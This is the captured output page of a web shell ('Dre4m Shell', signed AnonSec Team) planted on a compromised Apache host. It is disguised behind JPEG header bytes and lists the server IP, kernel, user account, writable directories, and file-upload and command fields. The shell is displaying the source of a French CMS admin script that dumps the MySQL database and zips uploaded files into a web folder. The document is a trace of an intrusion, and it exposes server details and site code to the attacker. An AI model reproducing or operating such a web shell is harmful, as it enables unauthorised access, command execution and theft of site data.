ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/export.php
<?php
require_once('includes/header.php');
require_once('../includes/config.php');
?>
		<div class="container">
	    <div class="form-horizontal">
			
			<div class="page-header">
            <div class="container-fluid">
            <h1>Sauvegarde base de donn&eacute;es + dossiers images</h1>      
            </div>
            </div>
            
		   <div class="container-fluid">
		   
		   
           <div class="alert alert-info"><i class="fa fa-info-circle"></i> 
           Cliquez sur les liens ci-dessous afin de r&eacute;cup&eacute;rer vos sauvegardes.
           <button type="button" class="close" data-dismiss="alert">&times;</button>
           </div>
           </div>
           
           	 		<div class="pull-right">
            			<a href="index.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Terminer / Fin</a>
                    </div>
     <br /> <br />      <br /> <br />     
<div style="margin-left: 100px;">
          	<?php

              error_reporting(E_ALL);
              ini_set('display_errors', true);

              /**
               * Sauvegarde upload
               */
              function zipper_repertoire_recursif($nom_archive, $adr_dossier, $dossier_destination = '', $zip=null, $dossier_base = '') {
                if($zip===null) {
                  // Si l'archive n'existe toujours pas (1er passage dans la fonction, on la crée)
                  $zip = new ZipArchive();
                  if($zip->open($nom_archive, ZipArchive::CREATE) !== TRUE) {
                    // La création de l'archive a échouée
                    return false;
                  }
                }
                
                if(substr($adr_dossier, -1)!='/') {
                  // Si l'adresse du dossier ne se termine pas par '/', on le rajoute
                  $adr_dossier .= '/';
                }
                
                if($dossier_base=="") {
                  // Si $dossier_base est vide ça veut dire que l'on rentre
                  // dans la fonction pour la première fois. Donc on retient 
                  // le tout premier dossier (le dossier racine) dans $dossier_base
                  $dossier_base=$adr_dossier;
                }
                
                if(file_exists($adr_dossier)) {
                  if(@$dossier = opendir($adr_dossier)) {
                    while(false !== ($fichier = readdir($dossier))) {
                      if($fichier != '.' && $fichier != '..') {
                        if(is_dir($adr_dossier.$fichier)) {
                          $zip->addEmptyDir($adr_dossier.$fichier);
                          zipper_repertoire_recursif($nom_archive, $adr_dossier.$fichier, $dossier_destination, $zip, $dossier_base);
                        }
                        else {
                          $zip->addFile($adr_dossier.$fichier);
                        }
                      }
                    }
                  }
                }
                
                if($dossier_base==$adr_dossier) {
                  // On ferme la zip
                  $zip->close();
                  
                  if($dossier_destination!='') {
                    if(substr($dossier_destination, -1)!='/') {
                      // Si l'adresse du dossier ne se termine pas par '/', on le rajoute
                      $dossier_destination .= '/';
                    }
                    
                    // On déplace l'archive dans le dossier voulu
                    if(rename($nom_archive, $dossier_destination.$nom_archive)) {
                      return true;
                    }
                    else {
                      return false;
                    }
                  }
                  else {
                    return true;
                  }
                }
              }

              /**
               * Sauvegarde MySQL
               */
              class BackupMySQL extends mysqli {
                
                /**
                 * Dossier des fichiers de sauvegardes
                 * @var string
                 */
                protected $dossier;
                
                /**
                 * Nom du fichier
                 * @var string
                 */
                public $nom_fichier;
                
                /**
                 * Ressource du fichier GZip
                 * @var ressource
                 */
                protected $gz_fichier;
                
                
                /**
                 * Constructeur
                 * @param array $options
                 */
                public function __construct($options = array()) {
                  $default = array(
                    'port' => ini_get('mysqli.default_port'),
                    'socket' => ini_get('mysqli.default_socket'),
                    // autres options
                    'dossier' => 'dump/',
                    'nbr_fichiers' => 5,
                    'nom_fichier' => 'backup'
                    );
                  $options = array_merge($default, $options);
                  extract($options);
                  
                  // Connexion de la connexion DB
                  @parent::__construct($host, $username, $passwd, $dbname, $port, $socket);
                  if($this->connect_error) {
                    $this->message('Erreur de connexion (' . $this->connect_errno . ') '. $this->connect_error);
                    return;
                  }
                  
                  // Controle du dossier
                  $this->dossier = $dossier;
                  if(!is_dir($this->dossier)) {
                    $this->message('Erreur de dossier &quot;' . htmlspecialchars($this->dossier) . '&quot;');
                    return;
                  }
                  
                  // Controle du fichier
                  $this->nom_fichier = $nom_fichier . date('Ymd-His') . '.sql.gz';
                  $this->gz_fichier = @gzopen($this->dossier . $this->nom_fichier, 'w');
                  if(!$this->gz_fichier) {
                    $this->message('Erreur de fichier &quot;' . htmlspecialchars($this->nom_fichier) . '&quot;');
                    return;
                  }
                  
                  // Demarrage du traitement
                  $this->sauvegarder();
                  $this->purger_fichiers($nbr_fichiers);
                }
                
                /**
                 * Message d'information ( commenter le "echo" pour rendre le script invisible )
                 * @param string $message HTML
                 */
                protected function message($message = '&nbsp;') {
                  echo '<p style="padding:0; margin:1px 10px; font-family:sans-serif;">'. $message .'</p>';
                }
                
                /**
                 * Protection des quot SQL
                 * @param string $string
                 * @return string
                 */
                protected function insert_clean($string) {
                  // Ne pas changer l'ordre du tableau !!!
                  $s1 = array( "\\" , "'" , "\r", "\n", );
                  $s2 = array( "\\\\" , "''"  , '\r', '\n', );
                  return str_replace($s1, $s2, $string);
                }
                
                /**
                 * Sauvegarder les tables
                 */
                protected function sauvegarder() {
                  $this->message('Sauvegarde en cours ...');
                  $this->message('<br />');
                  
                  $sql  = '--' ."\n";
                  $sql .= '-- '. $this->nom_fichier ."\n";
                  gzwrite($this->gz_fichier, $sql);
                  
                  // Liste les tables
                  //$this->message('Liste des donn&eacute;es');
                  //$this->message('<br />');
                  $result_tables = $this->query('SHOW TABLE STATUS');
                  if($result_tables && $result_tables->num_rows) {
                    while($obj_table = $result_tables->fetch_object()) {
                      //$this->message('- ' . htmlspecialchars($obj_table->{'Name'}));
                      
                      // DROP ...
                      $sql  = "\n\n";
                      $sql .= 'DROP TABLE IF EXISTS `'. $obj_table->{'Name'} .'`' .";\n";

                      // CREATE ...
                      $result_create = $this->query('SHOW CREATE TABLE `'. $obj_table->{'Name'} .'`');
                      if($result_create && $result_create->num_rows) {
                        $obj_create = $result_create->fetch_object();
                        $sql .= $obj_create->{'Create Table'} .";\n";
                        $result_create->free_result();
                      }

                      // INSERT ...
                      $result_insert = $this->query('SELECT * FROM `'. $obj_table->{'Name'} .'`');
                      if($result_insert && $result_insert->num_rows) {
                        $sql .= "\n";
                        while($obj_insert = $result_insert->fetch_object()) {
                          $virgule = false;
                          
                          $sql .= 'INSERT INTO `'. $obj_table->{'Name'} .'` VALUES (';
                          foreach($obj_insert as $val) {
                            $sql .= ($virgule ? ',' : '');
                            if(is_null($val)) {
                              $sql .= 'NULL';
                            } else {
                              $sql .= '\''. $this->insert_clean($val) . '\'';
                            }
                            $virgule = true;
                          } // for
                          
                          $sql .= ')' .";\n";
                          
                        } // while
                        $result_insert->free_result();
                      }
                      
                      gzwrite($this->gz_fichier, $sql);
                    } // while
                    $result_tables->free_result();
                  }
                  gzclose($this->gz_fichier);
                  $this->message('<br /><br />');
                  $this->message('<b>Sauvegarde termin&eacute;e ! </b>Cliquez sur les liens pour les t&eacute;l&eacute;charger.');
                  $this->message('<br />');
                  $this->message('<strong style="color:green;"><a href="dump/' . substr(htmlspecialchars($this->nom_fichier), 0, -6) . 'gz">T&eacute;l&eacute;chargement des fichiers uploadés</a></strong>');
                  $this->message('<strong style="color:green;"><a href="dump/' . htmlspecialchars($this->nom_fichier) . '">T&eacute;l&eacute;chargement de la base de données</a></strong>');
                }
                
                /**
                 * Purger les anciens fichiers
                 * @param int $nbr_fichiers_max Nombre maximum de sauvegardes
                 */
                protected function purger_fichiers($nbr_fichiers_max) {
                  $this->message();
                  $this->message('Nettoyage des anciennes sauvegardes ...');
                  $fichiers = array();
                  
                  // On recupere le nom des fichiers gz
                  if($dossier = dir($this->dossier)) {
                    while(false !== ($fichier = $dossier->read())) {
                      if($fichier != '.' && $fichier != '..') {
                        if(is_dir($this->dossier . $fichier)) {
                          // Ceci est un dossier ( et non un fichier )
                          continue;
                        } else {
                          // On ne prend que les fichiers se terminant par ".gz"
                          if(preg_match('/\.gz$/i', $fichier)) {
                            $fichiers[] = $fichier;
                          }
                        }
                      }
                    } // while
                    $dossier->close();
                  }
                  
                  // On supprime les  anciens fichiers
                  $nbr_fichiers_total = count($fichiers);
                  if($nbr_fichiers_total >= $nbr_fichiers_max) {
                    // Inverser l'ordre des fichiers gz pour ne pas supprimer les derniers fichiers
                    rsort($fichiers);
                    
                    // Suppression...
                    for($i = $nbr_fichiers_max; $i < $nbr_fichiers_total; $i++) {
                      $this->message('<strong style="color:red;">' . htmlspecialchars($fichiers[$i]) . '</strong>');
                      unlink($this->dossier . $fichiers[$i]);
                    }
                  }
                  $this->message('Nettoyage termin&eacute;e !');
                }
                
              }

              $options = array(
                'host' => $serveur_mysql,
                'username' => $utilisateur_mysql,
                'passwd' => $mot_de_passe_mysql,
                'dbname' => $nom_de_la_base
                );

              $sqlZip = new BackupMySQL($options);
              zipper_repertoire_recursif(substr(htmlspecialchars($sqlZip->nom_fichier), 0, -6) . 'gz', '../uploadfiles', 'dump/');

            ?>
         </div>
    </div>
</div>

<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team